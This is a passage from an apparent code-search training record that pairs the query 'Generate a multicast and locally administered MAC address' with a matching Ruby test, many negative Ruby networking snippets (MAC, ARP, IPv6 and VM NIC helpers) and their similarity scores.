+\n\t\t\t\t\"Netmask : %s\\n\" +\n\t\t\t\t\"\\n\", \n\t\t\t\tmacocts[0], macocts[1], macocts[2], macocts[3], \n\t\t\t\tmacocts[4], macocts[5], ip, netmask)\n\tend", "def arp_src_mac; self[:arp_src_mac].to_s; end", "def to_source; \"* = $#{@addr.to_s(16)}\"; end", "def gen_ip_addresses(max=20)\n (1..max).map do |octet|\n \"192.168.#{octet}.1\"\n end\nend", "def arp_daddr_mac\n\t\tEthHeader.str2mac(self[:arp_dest_mac].to_s)\n\tend", "def address\n return @mac_address if defined? @mac_address and @mac_address\n re = %r/[^:\\-](?:[0-9A-F][0-9A-F][:\\-]){5}[0-9A-F][0-9A-F][^:\\-]/io\n cmds = '/sbin/ifconfig', '/bin/ifconfig', 'ifconfig', 'ipconfig /all', 'cat /sys/class/net/*/address'\n\n null = test(?e, '/dev/null') ? '/dev/null' : 'NUL'\n\n output = nil\n cmds.each do |cmd|\n begin\n r, w = IO.pipe\n ::Process.waitpid(spawn(cmd, :out => w))\n w.close\n stdout = r.read\n next unless stdout and stdout.size > 0\n output = stdout and break\n rescue\n # go to next command!\n end\n end\n raise \"all of #{ cmds.join ' ' } failed\" unless output\n\n @mac_address = parse(output)\n end", "def set_mac_address(mac)\n execute(\"modifyvm\", @uuid, \"--macaddress1\", mac)\n end", "def read_mac_address\n hw_info = read_settings.fetch('Hardware', {})\n shared_ifaces = hw_info.select do |name, params|\n name.start_with?('net') && params['type'] == 'shared'\n end\n\n raise Errors::SharedInterfaceNotFound if shared_ifaces.empty?\n\n shared_ifaces.values.first.fetch('mac', nil)\n end", "def dev_addr(mac, family='lladdr')\n interface_node = node['network']['interfaces']\n addr = mac.downcase\n interface_node.select do |dev, data|\n data['addresses'].select do |id, prop|\n\treturn dev if id.downcase == addr && prop['family'] == family\n end\n end\n return nil\n end", "def mac_to_ip6_suffix(mac_i)\n mac = [\n mac_i & 0x00000000FFFFFFFF,\n (mac_i & 0xFFFFFFFF00000000) >> 32\n ]\n\n mlow = mac[0]\n eui64 = [\n 4261412864 + (mlow & 0x00FFFFFF),\n ((mac[1]+512)<<16) + ((mlow & 0xFF000000)>>16) + 0x000000FF\n ]\n\n return (eui64[1] << 32) + eui64[0]\n end", "def mac(string)\n Digest::SHA256.new.update(string).hexdigest.upcase\n end", "def dest_mac\n self[:dest_mac]\n end", "def node_mac(name)\n %x{grep 'mac address' /etc/libvirt/qemu/#{name}.xml 2>/dev/null}.match(/((..:){5}..)/).to_s\nend", "def get_next_mac_address(serial_number, dt_wo)\n dt_wo.total_mac_addresses += 1\n serial_number = serial_number[5,5].to_i\n \n serial_number = serial_number.to_s(16)\n serial_number = serial_number.rjust(4, '0')\n mac_address = dt_wo.starting_mac_address + '00' + ':' + serial_number[0,2] + ':' + serial_number[2,2]\n dt_wo.current_mac_address = mac_address\n dt_wo.save!\n return mac_address\n end", "def calc_cmc_mac(base_mac, i = 1)\n mac_array = base_mac.split(/:/)\n mac_array[-2] = \"F%d\" % [i / 100]\n mac_array[-1] = \"%02d\" % [i % 100]\n mac_array.join(\":\")\nend", "def mac_address\n mac = nil\n\n ovf.elements.each(\"//vbox:Machine/Hardware//Adapter\") do |ele|\n if ele.attributes['enabled'] == 'true'\n mac = ele.attributes['MACAddress']\n break\n end\n end\n\n if mac\n return mac\n else\n raise Errors::BoxAttributeError, :error_message => 'Could not determine mac address'\n end\n end", "def mac_addresses\n network_response = network_info\n return network_response unless network_response.successful?\n\n response = Response.new :code => 0\n response.data = network_response.data.values.collect { |n| n['mac_address'] }\n\n response\n end", "def mac_addresses\n network_response = network_info\n return network_response unless network_response.successful?\n\n response = Response.new :code => 0\n response.data = network_response.data.values.collect { |n| n['mac_address'] }\n\n response\n end", "def new_socket\n membership = IPAddr.new(@broadcast).hton + IPAddr.new('0.0.0.0').hton\n ttl = [@ttl].pack 'i'\n\n socket = UDPSocket.new\n\n socket.setsockopt Socket::IPPROTO_IP, Socket::IP_ADD_MEMBERSHIP, membership\n socket.setsockopt Socket::IPPROTO_IP, Socket::IP_MULTICAST_LOOP, \"\\000\"\n socket.setsockopt Socket::IPPROTO_IP, Socket::IP_MULTICAST_TTL, ttl\n socket.setsockopt Socket::IPPROTO_IP, Socket::IP_TTL, ttl\n\n socket.bind '0.0.0.0', @port\n\n socket\n end", "def generateEmailAddress()\n uuid = SecureRandom.hex(3)\n return \"%s.%[email protected]\" % [uuid, @MAILBOX]\n end", "def mac\n @attributes.fetch('mac', nil)\n end", "def manufacturer_id\n mac[0..7]\n end", "def check_fusion_vm_mac(options)\n if options['mac'].gsub(/:/,\"\").match(/^08/)\n handle_output(options,\"Warning:\\tInvalid MAC address: #{options['mac']}\")\n options['vm'] = \"fusion\"\n options['mac'] = generate_mac_address(options['vm'])\n handle_output(options,\"Information:\\tGenerated new MAC address: #{options['mac']}\")\n end\n return options['mac']\nend", "def dell_mac_addresses\n macs = []\n result = run_command([\"delloem\", \"mac\"])\n result.each_line do |line|\n data = line.split(' ')\n if data[0].to_i.to_s == data[0].to_s\n macs << mac = {:index => data[0], :address => data[1]}\n unless data[2].blank?\n mac[:enabled] = data[2] == 'Enabled'\n else\n mac[:enabled] = true\n end\n end\n end\n macs\n end", "def mac_to_txt(mac)\n mac.map {|s| s.to_s(16)}.join \":\"\nend", "def eui_64(mac)\n if @family != Socket::AF_INET6\n raise Exception, \"EUI-64 only makes sense on IPv6 prefixes.\"\n elsif self.length != 64\n raise Exception, \"EUI-64 only makes sense on 64 bit IPv6 prefixes.\"\n end\n if mac.is_a? Integer\n mac = \"%:012x\" % mac\n end\n if mac.is_a? String\n mac.gsub!(/[^0-9a-fA-F]/, \"\")\n if mac.match(/^[0-9a-f]{12}/).nil?\n raise ArgumentError, \"Second argument must be a valid MAC address.\"\n end\n e64 = (mac[0..5] + \"fffe\" + mac[6..11]).to_i(16) ^ 0x0200000000000000\n IPAddr.new(self.first.to_i + e64, Socket::AF_INET6)\n end\n end", "def arp_saddr_mac= mac\n\t\tmac = EthHeader.mac2str(mac)\n\t\tself[:arp_src_mac].read(mac)\n\t\tself.arp_src_mac\n\tend", "def change_fusion_vm_mac(options)\n (fusion_vm_dir,fusion_vmx_file,fusion_disk_file) = check_fusion_vm_doesnt_exist(options)\n if not File.exist?(fusion_vmx_file)\n handle_output(options,\"Warning:\\t#{options['vmapp']} VM #{options['name']} does not exist \")\n quit(options)\n end\n copy=[]\n file=IO.readlines(fusion_vmx_file)\n file.each do |line|\n if line.match(/generatedAddress/)\n copy.push(\"ethernet0.address = \\\"\"+options['mac']+\"\\\"\\n\")\n else\n if line.match(/ethernet0\\.address/)\n copy.push(\"ethernet0.address = \\\"\"+options['mac']+\"\\\"\\n\")\n else\n copy.push(line)\n end\n end\n end\n File.open(fusion_vmx_file,\"w\") {|file_data| file_data.puts copy}\n return\nend", "def encode_mac(mac_address)\n Digest::SHA1.hexdigest(mac_address).upcase\n end", "def get_gdom_mac(options)\n message = \"Information:\\tGetting guest domain \"+options['name']+\" MAC address\"\n command = \"ldm list-bindings #{options['name']} |grep '#{options['vmnic']}' |awk '{print $5}'\"\n output = execute_command(options,message,command)\n options['mac'] = output.chomp\n return options['mac']\nend", "def net_set_mac(mac_addr)\n execute(:set_network_mac, VmId: vm_id, Mac: mac_addr)\n end", "def calculate_add_nic_spec_autogenerate_mac(nic)\n pg_name = nic['BRIDGE']\n\n default =\n VCenterDriver::VIHelper.get_default(\n 'VM/TEMPLATE/NIC/MODEL'\n )\n tmodel = one_item['USER_TEMPLATE/NIC_DEFAULT/MODEL']\n\n model = nic['MODEL'] || tmodel || default\n\n vnet_ref = nic['VCENTER_NET_REF']\n backing = nil\n\n # Maximum bitrate for the interface in kilobytes/second\n # for inbound traffic\n limit_in =\n nic['INBOUND_PEAK_BW'] ||\n VCenterDriver::VIHelper.get_default(\n 'VM/TEMPLATE/NIC/INBOUND_PEAK_BW'\n )\n # Maximum bitrate for the interface in kilobytes/second\n # for outbound traffic\n limit_out =\n nic['OUTBOUND_PEAK_BW'] ||\n VCenterDriver::VIHelper.get_default(\n 'VM/TEMPLATE/NIC/OUTBOUND_PEAK_BW'\n )\n limit = nil\n\n if limit_in && limit_out\n limit=([limit_in.to_i, limit_out.to_i].min / 1024) * 8\n end\n\n # Average bitrate for the interface in kilobytes/second\n # for inbound traffic\n rsrv_in =\n nic['INBOUND_AVG_BW'] ||\n VCenterDriver::VIHelper.get_default(\n 'VM/TEMPLATE/NIC/INBOUND_AVG_BW'\n )\n\n # Average bitrate for the interface in kilobytes/second\n # for outbound traffic\n rsrv_out =\n nic['OUTBOUND_AVG_BW'] ||\n VCenterDriver::VIHelper.get_default(\n 'VM/TEMPLATE/NIC/OUTBOUND_AVG_BW'\n )\n\n rsrv = nil\n\n if rsrv_in || rsrv_out\n rsrv=([rsrv_in.to_i, rsrv_out.to_i].min / 1024) * 8\n end\n\n network = self['runtime.host'].network.select do |n|\n n._ref == vnet_ref || n.name == pg_name\n end\n\n network = network.first\n\n card_num = 1 # start in one, we want the next available id\n\n @item['config.hardware.device'].each do |dv|\n card_num += 1 if VCenterDriver::Network.nic?(dv)\n end\n\n nic_card = Nic.nic_model_class(model)\n\n if network.class == RbVmomi::VIM::Network\n backing = RbVmomi::VIM.VirtualEthernetCardNetworkBackingInfo(\n :deviceName => pg_name,\n :network => network\n )\n elsif network.class == RbVmomi::VIM::DistributedVirtualPortgroup\n port = RbVmomi::VIM::DistributedVirtualSwitchPortConnection(\n :switchUuid =>\n network.config.distributedVirtualSwitch.uuid,\n :portgroupKey => network.key\n )\n backing =\n RbVmomi::VIM\n .VirtualEthernetCardDistributedVirtualPortBackingInfo(\n :port => port\n )\n elsif network.class == RbVmomi::VIM::OpaqueNetwork\n backing =\n RbVmomi::VIM\n .VirtualEthernetCardOpaqueNetworkBackingInfo(\n :opaqueNetworkId => network.summary.opaqueNetworkId,\n :opaqueNetworkType => 'nsx.LogicalSwitch'\n )\n else\n raise 'Unknown network class'\n end\n\n card_spec = {\n :key => 0,\n :deviceInfo => {\n :label => 'net' + card_num.to_s,\n :summary => pg_name\n },\n :backing => backing,\n :addressType => 'generated'\n }\n if @vi_client.vim.serviceContent.about.apiVersion.to_f >= 7.0\n card_spec[:key] = Time.now.utc.strftime('%m%d%M%S%L').to_i\n end\n\n if (limit || rsrv) && (limit > 0)\n ra_spec = {}\n rsrv = limit if rsrv > limit\n # The bandwidth limit for the virtual network adapter. The\n # utilization of the virtual network adapter will not exceed\n # this limit, even if there are available resources. To clear\n # the value of this property and revert it to unset, set the\n # vaule to \"-1\" in an update operation. Units in Mbits/sec\n ra_spec[:limit] = limit if limit\n # Amount of network bandwidth that is guaranteed to the virtual\n # network adapter. If utilization is less than reservation, the\n # resource can be used by other virtual network adapters.\n # Reservation is not allowed to exceed the value of limit if\n # limit is set. Units in Mbits/sec\n ra_spec[:reservation] = rsrv if rsrv\n # Network share. The value is used as a relative weight in\n # competing for shared bandwidth, in case of resource contention\n ra_spec[:share] =\n RbVmomi::VIM.SharesInfo(\n {\n :level =>\n RbVmomi::VIM.SharesLevel(\n 'normal'\n ),\n :shares => 0\n }\n )\n card_spec[:resourceAllocation] =\n RbVmomi::VIM.VirtualEthernetCardResourceAllocation(ra_spec)\n end\n\n {\n :operation => :add,\n :device => nic_card.new(card_spec)\n }\n end" ]
[ "0.8003322", "0.76951313", "0.75745887", "0.7507478", "0.7237669", "0.71809", "0.71550316", "0.6949783", "0.6909297", "0.6786596", "0.6779944", "0.6667296", "0.65972507", "0.6543045", "0.6543045", "0.65170795", "0.64944947", "0.6440081", "0.6408476", "0.64063394", "0.6381061", "0.63686085", "0.6319332", "0.6309221", "0.63039553", "0.62826973", "0.62352186", "0.62281126", "0.62212753", "0.62212753", "0.61782813", "0.6152085", "0.61178577", "0.60951054", "0.60916764", "0.6064224", "0.6054832", "0.6045499", "0.6041003", "0.6015557", "0.6009904", "0.6009904", "0.5985509", "0.5931276", "0.5927021", "0.5921497", "0.5909786", "0.5890248", "0.58884585", "0.5877033", "0.5871459", "0.5837153", "0.58308965", "0.5821718", "0.5789164", "0.5759833", "0.57485205", "0.5735463", "0.5704291", "0.5689877", "0.5689877", "0.56870747", "0.567869", "0.56645006", "0.56610805", "0.5651448", "0.56183016", "0.56179017", "0.56134915", "0.5611395", "0.5595262", "0.55641824", "0.5556639", "0.55474806", "0.55422425", "0.55218303", "0.5520125", "0.5513034", "0.5499966", "0.5496747", "0.5495722", "0.5495262", "0.54944074", "0.5479121", "0.5433305", "0.5433305", "0.54227763", "0.5421072", "0.5408184", "0.54048514", "0.540227", "0.5374044", "0.53622645", "0.53618425", "0.5342605", "0.5326787", "0.53264666", "0.532477", "0.5321061", "0.53169185" ]
0.74266547
4
Generate a multicast and locally administered MAC address
def test_gen_mac_multicast_locally_administered mac = RFauxFactory.gen_mac(multicast: true, locally: true) first_octect = mac.split(':')[0].to_i(16) mask = 0b00000011 assert_equal first_octect & mask, 3 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def generate_mac\n if locate_config_value(:macaddress).nil?\n ('%02x' % (rand(64) * 4 | 2)) + (0..4).reduce('') { |s, _x|s + ':%02x' % rand(256) }\n else\n locate_config_value(:macaddress)\n end\n end", "def generate_mac \n (\"%02x\"%(rand(64)*4|2))+(0..4).inject(\"\"){|s,x|s+\":%02x\"%rand(256)}\n end", "def mac_address\n unless @mac\n octets = 3.times.map { rand(255).to_s(16) }\n @mac = \"525400#{octets[0]}#{octets[1]}#{octets[2]}\"\n end\n @mac\n end", "def generate_mac\n crc32 = Zlib.crc32(self.id.to_s)\n offset = crc32.modulo(255)\n\n digits = [ %w(0),\n %w(0),\n %w(0),\n %w(0),\n %w(5),\n %w(e),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f),\n %w(5 6 7 8 9 a b c d e f),\n %w(3 4 5 6 7 8 9 a b c d e f),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f) ]\n mac = \"\"\n for x in 1..12 do\n mac += digits[x-1][offset.modulo(digits[x-1].count)]\n mac += \":\" if (x.modulo(2) == 0) && (x != 12)\n end\n mac\n end", "def test_gen_mac_unicast_locally_administered\n mac = RFauxFactory.gen_mac(multicast: false, locally: true)\n first_octect = mac.split(':')[0].to_i(16)\n mask = 0b00000011\n assert_equal first_octect & mask, 2\n end", "def test_gen_mac_multicast_globally_unique\n mac = RFauxFactory.gen_mac(multicast: true, locally: false)\n first_octect = mac.split(':')[0].to_i(16)\n mask = 0b00000011\n assert_equal first_octect & mask, 1\n end", "def test_gen_mac_unicast_globally_unique\n mac = RFauxFactory.gen_mac(multicast: false, locally: false)\n first_octect = mac.split(':')[0].to_i(16)\n mask = 0b00000011\n assert_equal first_octect & mask, 0\n end", "def generate_ULA(mac, subnet_id = 0, locally_assigned=true)\n now = Time.now.utc\n ntp_time = ((now.to_i + 2208988800) << 32) + now.nsec # Convert time to an NTP timstamp.\n system_id = '::/64'.to_ip.eui_64(mac).to_i # Generate an EUI64 from the provided MAC address.\n key = [ ntp_time, system_id ].pack('QQ') # Pack the ntp timestamp and the system_id into a binary string\n global_id = Digest::SHA1.digest( key ).unpack('QQ').last & 0xffffffffff # Use only the last 40 bytes of the SHA1 digest.\n\n prefix =\n (126 << 121) + # 0xfc (bytes 0..6)\n ((locally_assigned ? 1 : 0) << 120) + # locally assigned? (byte 7)\n (global_id << 80) + # 40 bit global idenfitier (bytes 8..48)\n ((subnet_id & 0xffff) << 64) # 16 bit subnet_id (bytes 48..64)\n\n prefix.to_ip(Socket::AF_INET6).tap { |p| p.length = 64 }\n end", "def multicast_mac(options=nil)\n known_args = [:Objectify]\n objectify = false\n\n if (options)\n if (!options.kind_of? Hash)\n raise ArgumentError, \"Expected Hash, but #{options.class} provided.\"\n end\n NetAddr.validate_args(options.keys,known_args)\n\n if (options.has_key?(:Objectify) && options[:Objectify] == true)\n objectify = true\n end\n end\n\n if (@version == 4)\n if (@ip & 0xf0000000 == 0xe0000000)\n # map low order 23-bits of ip to 01:00:5e:00:00:00\n mac = @ip & 0x007fffff | 0x01005e000000\n else\n raise ValidationError, \"#{self.ip} is not a valid multicast address. IPv4 multicast \" +\n \"addresses should be in the range 224.0.0.0/4.\"\n end\n else\n if (@ip & (0xff << 120) == 0xff << 120)\n # map low order 32-bits of ip to 33:33:00:00:00:00\n mac = @ip & (2**32-1) | 0x333300000000\n else\n raise ValidationError, \"#{self.ip} is not a valid multicast address. IPv6 multicast \" +\n \"addresses should be in the range ff00::/8.\"\n end\n end\n\n eui = NetAddr::EUI48.new(mac)\n eui = eui.address if (!objectify)\n\n return(eui)\n end", "def generate_unique_mac\n sprintf('b88d12%s', (1..3).map{\"%0.2X\" % rand(256)}.join('').downcase)\n end", "def mac_eth0\n eth0.mac_address\n end", "def random_mac_addr(provider)\n symbol = provider.to_sym\n case symbol\n when :virtualbox\n PROVIDER_MAC_PREFIXES[:virtualbox] + 3.times.map { '%02x' % rand(0..255) }.join\n when :libvirt\n PROVIDER_MAC_PREFIXES[:libvirt] + 3.times.map { '%02x' % rand(0..255) }.join\n when :vmware_fusion\n PROVIDER_MAC_PREFIXES[:vmware] + 3.times.map { '%02x' % rand(0..255) }.join\n when :vmware\n PROVIDER_MAC_PREFIXES[:vmware] + 3.times.map { '%02x' % rand(0..255) }.join\n when :parallels\n PROVIDER_MAC_PREFIXES[:parallels] + 3.times.map { '%02x' % rand(0..255) }.join\n when :hyper_v\n PROVIDER_MAC_PREFIXES[:hyper_v] + 3.times.map { '%02x' % rand(0..255) }.join\n else\n raise \"Unsupported provider #{provider}\"\n end\nend", "def multicast_group\n IPAddr.new(address).hton + IPAddr.new(LOCAL_ADDRESS).hton\n end", "def tap_mac\n\t\[email protected]_address.to_sockaddr[-6,6]\n\tend", "def tap_mac\n\t\[email protected]_address.to_sockaddr[-6,6]\n\tend", "def random_mac(oui=nil)\n mac_parts = [oui||DEFAULT_OUI]\n [0x7f, 0xff, 0xff].each do |limit|\n mac_parts << \"%02x\" % rand(limit + 1)\n end\n mac_parts.join('-')\nend", "def get_mac_address(pool, num)\n end_num = num.to_s(16)\n # mac_address = pool.starting_mac_address\n mac_address = '002440'\n mac_address = mac_address.ljust(12, \"0\")\n mac_address[mac_address.size - end_num.size, mac_address.size]= end_num\n mac_address = mac_address[0,2] + ':' + mac_address[2, 2] + ':' + mac_address[4,2] + ':' + mac_address[6,2] + ':' + mac_address[8,2] + ':' + mac_address[10,2]\n return mac_address\n end", "def mac_address\n @mac_address ||= raw_data[22..27].join(':')\n end", "def tap_mac\n @sock.local_address.to_sockaddr[-6, 6]\n end", "def mac_for_instance(num=nil)\n num = next_instance_to_start if num.nil?\n num = num.to_i if num.is_a?(String) and num =~ /^\\d+$/\n if !num.is_a? Fixnum or num < 0 or num > 255 \n raise TypeError, _('Argument must be an integer between 0 and 255')\n end\n offset = sprintf('%02x', num)\n mac = mac_base_addr.gsub(/00$/, offset)\n\n mac\n end", "def mac_addr\n if (mac_addr = @host.at('tag[name=mac-addr]'))\n mac_addr.inner_text\n end\n end", "def mac_address\n if NicView.empty_mac?(self[\"CurrentMACAddress\"])\n self[\"PermanentMACAddress\"]\n elsif self[\"PermanentMACAddress\"]\n self[\"CurrentMACAddress\"]\n end\n end", "def mac_address\n super\n end", "def mac_address(prefix: T.unsafe(nil)); end", "def arp_dest_mac= i; typecast \"arp_dest_mac\", i; end", "def mac_address\n raise ::Fission::Error,\"VM #{@name} does not exist\" unless self.exists?\n\n line=File.new(vmx_path).grep(/^ethernet0.generatedAddress =/)\n if line.nil?\n #Fission.ui.output \"Hmm, the vmx file #{vmx_path} does not contain a generated mac address \"\n return nil\n end\n address=line.first.split(\"=\")[1].strip.split(/\\\"/)[1]\n return address\n end", "def mac_masquerade_address\n super\n end", "def mac_masquerade_address\n super\n end", "def calc_mac(base_mac, i = 1)\n mac_array = base_mac.split(/:/)\n\n mac_array[-1] = sprintf(\"%02x\", mac_array.last.hex + i).upcase\n mac_array.join(\":\")\nend", "def create clock=nil, time=nil, mac_addr=nil\nc = t = m = nil\nDir.chdir Dir.tmpdir do\nunless FileTest.exist? STATE_FILE then\n# Generate a pseudo MAC address because we have no pure-ruby way\n# to know the MAC address of the NIC this system uses. Note\n# that cheating with pseudo arresses here is completely legal:\n# see Section 4.5 of RFC4122 for details.\nsha1 = Digest::SHA1.new\n256.times do\nr = [rand(0x100000000)].pack \"N\"\nsha1.update r\nend\nstr = sha1.digest\nr = rand 14 # 20-6\nnode = str[r, 6] || str\nnode[0] |= 0x01 # multicast bit\nk = rand 0x40000\nopen STATE_FILE, 'w' do |fp|\nfp.flock IO::LOCK_EX\nwrite_state fp, k, node\nfp.chmod 0o777 # must be world writable\nend\nend\nopen STATE_FILE, 'r+' do |fp|\nfp.flock IO::LOCK_EX\nc, m = read_state fp\nc = clock % 0x4000 if clock\nm = mac_addr if mac_addr\nt = time\nif t.nil? then\n# UUID epoch is 1582/Oct/15\ntt = Time.now\nt = tt.to_i*10000000 + tt.tv_usec*10 + 0x01B21DD213814000\nend\nc = c.succ # important; increment here\nwrite_state fp, c, m\nend\nend\n \ntl = t & 0xFFFF_FFFF\ntm = t >> 32\ntm = tm & 0xFFFF\nth = t >> 48\nth = th & 0x0FFF\nth = th | 0x1000\ncl = c & 0xFF\nch = c & 0x3F00\nch = ch >> 8\nch = ch | 0x80\npack tl, tm, th, cl, ch, m\nend", "def prefix_from_multicast\n if ipv6? && multicast_from_prefix?\n prefix_length = (to_i >> 92) & 0xff\n if (prefix_length == 0xff) && (((to_i >> 112) & 0xf) >= 2)\n # Link local prefix\n #(((to_i >> 32) & 0xffffffffffffffff) + (0xfe80 << 112)).to_ip(Socket::AF_INET6).tap { |p| p.length = 64 }\n return nil # See http://redmine.ruby-lang.org/issues/5468\n else\n # Global unicast prefix\n (((to_i >> 32) & 0xffffffffffffffff) << 64).to_ip(Socket::AF_INET6).tap { |p| p.length = prefix_length }\n end\n end\n end", "def arp_dest_mac; self[:arp_dest_mac].to_s; end", "def resolve_to_mac(input)\n if valid_mac?(input)\n return input\n end\n lookup_in_ethers(input)\n end", "def setup_multicast_socket\n set_membership(IPAddr.new(MULTICAST_IP).hton + IPAddr.new('0.0.0.0').hton)\n set_multicast_ttl(@ttl)\n set_ttl(@ttl)\n\n unless ENV[\"RUBY_TESTING_ENV\"] == \"testing\"\n switch_multicast_loop :off\n end\n end", "def format_mac_address\n self.mac_address = self.mac_address.to_s.upcase.gsub(/[^A-F0-9]/,'')\n end", "def getMAC\n tmpmac = \"\"\n if Stage.initial\n tmpmac = Convert.to_string(SCR.Read(path(\".etc.install_inf.HWAddr\")))\n end\n cleanmac = Builtins.deletechars(tmpmac != nil ? tmpmac : \"\", \":\")\n cleanmac\n end", "def address\n @mac_address ||= addresses.first\n end", "def true_mac_address\n super\n end", "def true_mac_address\n super\n end", "def generate\n blake160_bin = [blake160[2..-1]].pack(\"H*\")\n type = [\"01\"].pack(\"H*\")\n bin_idx = [\"P2PH\".each_char.map { |c| c.ord.to_s(16) }.join].pack(\"H*\")\n payload = type + bin_idx + blake160_bin\n ConvertAddress.encode(@prefix, payload)\n end", "def setup_multicast_socket(socket, multicast_address)\n set_membership(socket,\n IPAddr.new(multicast_address).hton + IPAddr.new('0.0.0.0').hton)\n set_multicast_ttl(socket, MULTICAST_TTL)\n set_ttl(socket, MULTICAST_TTL)\n end", "def mac\n File.open(\"/sys/class/net/#{@name}/address\") do |f|\n f.read.chomp\n end\n end", "def mac\n @mac || REXML::XPath.first(@definition, \"//domain/devices/interface/mac/@address\").value\n end", "def generate_serial_number_mac_address_mappings(pool)\n start_serial_number = pool.starting_serial_number\n start_mac_address = pool.starting_mac_address\n \n #generate array (serial_numbers), one serial number per row based on size of pool\n serial_numbers = []\n last_serial_number = get_last_serial_number(pool) + 1 \n (0..pool.size-1).each do |i| \n num = i + last_serial_number\n serial_numbers << get_serial_number(pool, num)\n end\n \n #generate array (mac_addresses), one mac address per row based on size of pool\n mac_addresses = []\n last_mac_address = 0\n if is_zigbee?(pool) || is_gateway?(pool) #checks device_type.mac_address_type (zigbee = 0, gateway = 1)\n last_mac_address = get_last_mac_address(pool) + 1\n end\n \n (0..pool.size-1).each do |i|\n num = i + last_mac_address\n if is_zigbee?(pool) || is_gateway?(pool)\n mac_addresses << get_mac_address(pool, num)\n else\n mac_addresses << ''\n end\n end\n \n #add a new device for each row in the pool and save the pool\n Device.transaction do\n (0..pool.size-1).each do |i|\n device = Device.new(:active => false, :pool_id => pool.id, :serial_number => serial_numbers[i], :mac_address => mac_addresses[i])\n device.save!\n end\n pool.ending_serial_number = serial_numbers[pool.size - 1]\n pool.ending_mac_address = mac_addresses[pool.size - 1]\n pool.save!\n end\n end", "def base_mac_address\n super\n end", "def get_mac_address(addresses)\n detected_addresses = addresses.detect { |address, keypair| keypair == { \"family\" => \"lladdr\" } }\n if detected_addresses\n detected_addresses.first\n else\n \"\"\n end\n end", "def get_macaddr\n currentEth = currentAddr = nil; macaddrs = {}\n `ifconfig`.split(\"\\n\").map! do |line|\n maybeEth = line.match(/([a-z]+[0-9]+): .*/)\n currentEth = maybeEth[1].strip if !maybeEth.nil?\n maybeAddr = line.match(/ether ([0-9 A-Ea-e \\:]+)/)\n currentAddr = maybeAddr[1].strip if !maybeAddr.nil?\n if currentEth != nil && currentAddr != nil\n macaddrs[currentEth] = currentAddr\n currentEth = currentAddr = nil\n end\n end\n macaddrs\nend", "def setup( mac, ip = '255.255.255.255' )\n \n @magic ||= (\"\\xff\" * 6)\n \n # Validate MAC address and craft the magic packet\n raise AddressException,\n 'Invalid MAC address' unless self.valid_mac?( mac )\n mac_addr = mac.split(/:/).collect {|x| x.hex}.pack('CCCCCC')\n @magic[6..-1] = (mac_addr * 16)\n \n # Validate IP address\n raise AddressException,\n 'Invalid IP address' unless self.valid_ip?( ip )\n @ip_addr = ip\n \n end", "def get_fusion_vm_mac(options)\n options['mac'] = \"\"\n options['search'] = \"ethernet0.address\"\n options['mac'] = get_fusion_vm_vmx_file_value(options)\n if not options['mac']\n options['search'] = \"ethernet0.generatedAddress\"\n options['mac'] = get_fusion_vm_vmx_file_value(options)\n end\n return options['mac']\nend", "def macify\n split(\":\").map {|a| a[0].chr == \"0\" ? a[1].chr : a}.join(\":\")\n end", "def read_mac_address\n end", "def new_socket\n membership = IPAddr.new(@broadcast).hton + IPAddr.new('0.0.0.0').hton\n ttl = [@ttl].pack 'i'\n\n socket = UDPSocket.new\n\n socket.setsockopt Socket::IPPROTO_IP, Socket::IP_ADD_MEMBERSHIP, membership\n socket.setsockopt Socket::IPPROTO_IP, Socket::IP_MULTICAST_LOOP, \"\\000\"\n socket.setsockopt Socket::IPPROTO_IP, Socket::IP_MULTICAST_TTL, ttl\n socket.setsockopt Socket::IPPROTO_IP, Socket::IP_TTL, ttl\n\n socket.bind '0.0.0.0', @port\n\n socket\n end", "def mac_address\n mac = nil\n\n ovf.xpath(\"//*[local-name()='Machine']/*[local-name()='Hardware']/*[local-name()='Network']/*[local-name()='Adapter']\").each do |net|\n if net.attribute(\"enabled\").value == \"true\"\n mac = net.attribute(\"MACAddress\").value\n break\n end\n end\n\n if mac\n return mac\n else\n fail Errors::BoxAttributeError, error_message: 'Could not determine mac address'\n end\n end", "def getMAC(interface)\n cmd = `ifconfig #{interface}`\n mac = cmd.match(/(([A-F0-9]{2}:){5}[A-F0-9]{2})/i).captures\n @log.debug \"MAC of interface '#{interface}' is: #{mac.first}\"\n return mac.first\n end", "def format_mac_address\n\t\tself.mac_address = self.mac_address.to_s().upcase().gsub( /[^A-F0-9]/, '' )\n\tend", "def multicast_embedded_rp\n raise 'Not a multicast address' if !multicast?\n raise 'Not an embedded-RP addredd' if !multicast_embedded_rp?\n\n riid = (@addr & (0xf << 104)) >> 104\n plen = (@addr & (0xff << 96)) >> 96\n prefix = (@addr & (((1 << plen) - 1) << (32 + (64 - plen)))) << 32\n group_id = @addr & 0xffffffff\n\n IPv6Addr.new(prefix | riid)\n end", "def arp_saddr_mac\n\t\tEthHeader.str2mac(self[:arp_src_mac].to_s)\n\tend", "def read_mac_address\n execute(:get_network_mac, VmId: vm_id)\n end", "def multicast\n readConfig unless @@ClusterConfig\n addr=/<multicast addr=\"([^\"]*)\"/.match(@@ClusterConfig)\n return addr[1] unless addr.nil?\n end", "def arp_daddr_mac\n\t\tEthHeader.str2mac(self[:arp_dest_mac].to_s)\n\tend", "def get_mac_address_of_nic_on_requested_vlan\n args = {\n :value_of_vlan_option => get_option(:vlan),\n :dest_cluster => dest_cluster,\n :destination => destination\n }\n source.ext_management_system.ovirt_services.get_mac_address_of_nic_on_requested_vlan(args)\n end", "def set_mac_address(mac)\n end", "def arp_src_mac= i; typecast \"arp_src_mac\", i; end", "def genConf\n conf=\"auto #{@device}\\n\"\n if (ip != nil && netmask != nil)\n conf+=%(iface #{@device} inet static\n address #{@ip}\n netmask #{@netmask}\n)\n else\n conf+=\"iface #{@device} inet dhcp\\n\"\n end\n end", "def generate_by_iso_code(iso_code, opts = {})\n ouis = iso_code_table[iso_code]\n if ouis.nil? || ouis.empty?\n opts[:raising] ? raise(NotFoundOuiVendor, \"OUI not found for iso code #{iso_code}\") : (return nil)\n end\n oui = ouis[rand(ouis.size)]\n m1 = Address.new(oui[:prefix]).to_i\n m2 = rand(2**24)\n mac = m1 + m2\n Address.new(mac,\n name: oui[:name],\n address: oui[:address],\n iso_code: iso_code)\n end", "def dell_mac_addresses\n macs = []\n result = run_command([\"delloem\", \"mac\"])\n result.each_line do |line|\n data = line.split(' 